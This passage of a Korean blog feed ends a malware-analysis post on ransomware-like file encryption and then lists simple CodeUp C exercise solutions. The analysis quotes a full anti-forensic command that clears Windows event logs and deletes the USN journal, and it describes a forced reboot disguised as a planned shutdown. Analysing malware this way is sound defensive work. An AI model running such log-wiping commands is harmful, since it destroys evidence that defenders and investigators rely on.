data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 로직은 파일을 암호화 할때 사용하는 key를 생성하는 로직이다. CryptGenKey함수를 통해 Key를 생성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;516&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GGlhj/dJMcadOsUiZ/qkJf76VjboE89dFGVbPUAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GGlhj/dJMcadOsUiZ/qkJf76VjboE89dFGVbPUAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GGlhj/dJMcadOsUiZ/qkJf76VjboE89dFGVbPUAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGGlhj%2FdJMcadOsUiZ%2FqkJf76VjboE89dFGVbPUAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;747&quot; height=&quot;516&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;516&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 로직은 파일을 직접 메모리에 매핑해서 파일을 암호화 시키는 로직이다. 암호화 할때 사용한 키 핸들은 이전에 나왔던 공개키 문자열이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tAT97/dJMcagxG50b/fgjkBGX19GK5U3k6zhQEh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tAT97/dJMcagxG50b/fgjkBGX19GK5U3k6zhQEh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tAT97/dJMcagxG50b/fgjkBGX19GK5U3k6zhQEh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtAT97%2FdJMcagxG50b%2FfgjkBGX19GK5U3k6zhQEh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;147&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암호화가 다 끝난 이후 &amp;ldquo;wevtutil cl Setup &amp;amp; wevtutil cl System &amp;amp; wevtutil cl Security &amp;amp; wevtutil cl Application &amp;amp; fsutil usn deletejournal /D %c:&amp;rdquo;&amp;rdquo; 해당 명령어를 통해서 이벤트로그 및 journal파일을 모두 지우는 안티 포렌식 기능이 실행된다. (해당 값은 sub_100083BD함수로 전달되어 실행되고 아래 어셈블리를 보면 값이 실제로 전달되는것을 알 수 있다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLBwdm/dJMcahDm2lK/c6pKf4eK58JJZcGY7oRGR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLBwdm/dJMcahDm2lK/c6pKf4eK58JJZcGY7oRGR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLBwdm/dJMcahDm2lK/c6pKf4eK58JJZcGY7oRGR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLBwdm%2FdJMcahDm2lK%2Fc6pKf4eK58JJZcGY7oRGR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;568&quot; height=&quot;159&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(처음에는 전달이 안되는줄 알았는데 이후 코드의 파라미터값을 보니 eax로 전달된것을 확인하였다.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/epAfpL/dJMcagLgsRw/O2J09RwOcX8NHHdqZ8NK21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/epAfpL/dJMcagLgsRw/O2J09RwOcX8NHHdqZ8NK21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/epAfpL/dJMcagLgsRw/O2J09RwOcX8NHHdqZ8NK21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FepAfpL%2FdJMcagLgsRw%2FO2J09RwOcX8NHHdqZ8NK21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;190&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 InitiateSystemShutdownExW 함수를 통해 호스트 PC를 재부팅 시키고 마지막 인자값을 통해서 재부팅 로그에는 &amp;ldquo;계획된 종료&amp;rdquo; 라는 로그를 남긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 socket 기능도 존재한다.&lt;/p&gt;</description>
      <category>악성코드 분석</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/7</guid>
      <comments>https://dlwodnr59.tistory.com/7#entry7comment</comments>
      <pubDate>Wed, 18 Feb 2026 13:14:50 +0900</pubDate>
    </item>
    <item>
      <title>코드업 C언어 기초 100제(41~50)</title>
      <link>https://dlwodnr59.tistory.com/6</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;41번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856356&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char i;
	
	scanf(&quot;%c&quot;, &amp;amp;i);
	printf(&quot;%c&quot;,i+1);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;42번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i,j;
	
	scanf(&quot;%d %d&quot;, &amp;amp;i,&amp;amp;j);
	printf(&quot;%d&quot;, i/j);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;43번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i,j;
	
	scanf(&quot;%d %d&quot;, &amp;amp;i,&amp;amp;j);
	printf(&quot;%d&quot;, i%j);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;44번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	long long int i;
	
	scanf(&quot;%lld&quot;,&amp;amp;i);
	printf(&quot;%lld&quot;,++i);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;45번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a,b;
	
	scanf(&quot;%d %d&quot;, &amp;amp;a, &amp;amp;b);
	
	printf(&quot;%d\n&quot;,a+b);
	printf(&quot;%d\n&quot;,a-b);
	printf(&quot;%d\n&quot;,a*b);
	printf(&quot;%d\n&quot;,a/b);
	printf(&quot;%d\n&quot;,a%b);
	printf(&quot;%.2f\n&quot;,(float)a/b);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;46번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int a,b,c;
	
	scanf(&quot;%d %d %d&quot;,&amp;amp;a,&amp;amp;b,&amp;amp;c);
	
	printf(&quot;%d %.1f&quot;,a+b+c,(float)(a+b+c)/3);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;47번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i;
	
	scanf(&quot;%d&quot;,&amp;amp;i);
	printf(&quot;%d&quot;,i&amp;lt;&amp;lt;1);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;48번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i,j;
	
	scanf(&quot;%d %d&quot;, &amp;amp;i, &amp;amp;j);
	printf(&quot;%d&quot;,i&amp;lt;&amp;lt;j);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;49번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i,j;
	
	scanf(&quot;%d %d&quot;,&amp;amp;i,&amp;amp;j);
	printf(&quot;%d&quot;,i&amp;gt;j);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;50번&lt;/p&gt;
&lt;pre id=&quot;code_1617463856359&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i,j;
	
	scanf(&quot;%d %d&quot;,&amp;amp;i,&amp;amp;j);
	printf(&quot;%d&quot;,i==j);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/6</guid>
      <comments>https://dlwodnr59.tistory.com/6#entry6comment</comments>
      <pubDate>Sun, 4 Apr 2021 00:31:20 +0900</pubDate>
    </item>
    <item>
      <title>코드업 C언어 기초100제(31~40)</title>
      <link>https://dlwodnr59.tistory.com/5</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;31번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539354&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int o;
	scanf(&quot;%d&quot;,&amp;amp;o);
	printf(&quot;%o&quot;,o);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539356&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int x;
	
	scanf(&quot;%d&quot;,&amp;amp;x);
	printf(&quot;%x&quot;,x);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;33번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int X;
	
	scanf(&quot;%d&quot;,&amp;amp;X);
	printf(&quot;%X&quot;,X);
	
	return 0;	
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;34번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int d;
	
	scanf(&quot;%o&quot;,&amp;amp;d);
	printf(&quot;%d&quot;,d);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;35번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i;
	
	scanf(&quot;%x&quot;,&amp;amp;i);
	printf(&quot;%o&quot;,i);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;36번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char i;
	scanf(&quot;%c&quot;, &amp;amp;i);
	printf(&quot;%d&quot;, i);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;37번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i;
	scanf(&quot;%d&quot;,&amp;amp;i);
	printf(&quot;%c&quot;,i);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;38번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539357&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	long long int i ,j;
	
	scanf(&quot;%lld %lld&quot;,&amp;amp;i,&amp;amp;j);
	printf(&quot;%lld&quot;,i+j);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;39번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539358&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	long long int i ,j;
	
	scanf(&quot;%lld %lld&quot;,&amp;amp;i,&amp;amp;j);
	printf(&quot;%lld&quot;,i+j);
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;40번&lt;/p&gt;
&lt;pre id=&quot;code_1617463539358&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	int i ,j;
	
	scanf(&quot;%d %d&quot;,&amp;amp;i,&amp;amp;j);
	printf(&quot;%d&quot;, -(i+j));
	
	return 0;
} &lt;/code&gt;&lt;/pre&gt;</description>
      <category>기타</category>
      <author>grze0</author>
      <guid isPermaLink="true">https://dlwodnr59.tistory.com/5</guid>
      <comments>https://dlwodnr59.tistory.com/5#entry5comment</comments>
      <pubDate>Sun, 4 Apr 2021 00:25:47 +0900</pubDate>
    </item>
    <item>
      <title>코드업 C언어 기초 100제(21~30)</title>
      <link>https://dlwodnr59.tistory.com/4</link>
      <description>&lt;pre id=&quot;code_1617463480206&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char add[51]=&quot;&quot;;
	scanf(&quot;%s&quot;, add);
	printf(&quot;%s&quot;, add);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;22번&lt;/p&gt;
&lt;pre id=&quot;code_1617463480208&quot; class=&quot;html xml&quot; style=&quot;box-sizing: inherit; overflow: auto; font-family: monospace, monospace; font-size: medium; background: rgba(0, 0, 0, 0.05); color: rgba(34, 85, 51, 0.87); white-space: pre-wrap; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;

int main()
{
	char add[2001];
	
	fgets(add,2000,stdin);
	printf(&quot;%s&quot;,add);
	
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;23번&lt;/p&gt;
